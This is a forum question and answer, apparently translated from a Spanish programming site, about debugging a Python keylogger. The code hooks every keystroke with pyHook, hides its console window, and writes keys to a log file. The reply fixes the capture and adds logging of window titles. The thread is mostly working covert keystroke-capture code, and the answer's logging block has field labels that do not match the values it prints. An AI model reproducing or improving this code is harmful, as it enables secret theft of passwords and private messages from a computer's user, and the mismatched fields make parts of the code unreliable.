Why does my Keylogger in Python 3.6 save spaces and not the letters it registers?

5

The program apparently works fine, it creates the file but in it it only writes blank spaces instead of the characters that I wrote.

I really need help with this since I do not know the reason for this, I saved it as .pyw

Here the code:

import win32api
import win32console
import win32gui    
import pyHook,pythoncom,sys,logging

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
file_log = "C:\KEYLOGGER\Log.txt"

def OnKeyboardEvent(event):
        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
        chr(event.Ascii)
        logging.log(10,chr(event.Ascii))    
        return True

hocks_manager = pyHook.HookManager()
hocks_manager.KeyDown=OnKeyboardEvent
hocks_manager.HookKeyboard()    
pythoncom.PumpMessages()

When executing it in the console, after passing it to .py, and writing a key I get the following error

C:\Users\mi pc\Project\Python>python keyl_a.py
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_
code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
    
asked by Elektvocal95 22.04.2017 в 01:09
source

1 answer

2

Apparently it would be a pyHook bug. It occurs when the focus is placed in a window whose title has "wide" or no ascii characters. The fix unfortunately happens to modify pyHook. This link can help you.

With respect to the blank keys, I mention that at least I did not work the chr(event.Ascii) , but if the chr(event.Key) . I copy you a routine that details more the information of the keyboard event that may help you:

def OnKeyboardEvent(event):

        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')

        logtxt = """\
        MessageName: {}
        Message    : {}
        Time       : {}
        Window     : {}
        WindowName : {}
        Ascii      : {} {}
        Key        : {} {}
        KeyID      : {}
        ScanCode   : {}
        Extended   : {}
        Injected   : {}
        Transition : {}
        ---------------------------
        """.format(event.MessageName,
                   event.Message,
                   event.Time,
                   event.Window,
                   event.WindowName,
                   event.Ascii, chr(event.Ascii),
                   event.KeyID, chr(event.KeyID),
                   event.ScanCode,
                   event.Extended,
                   event.Injected,
                   event.Alt,
                   event.Transition)


        logging.log(10,logtxt)    
        return True
    
answered by 24.05.2017 в 16:16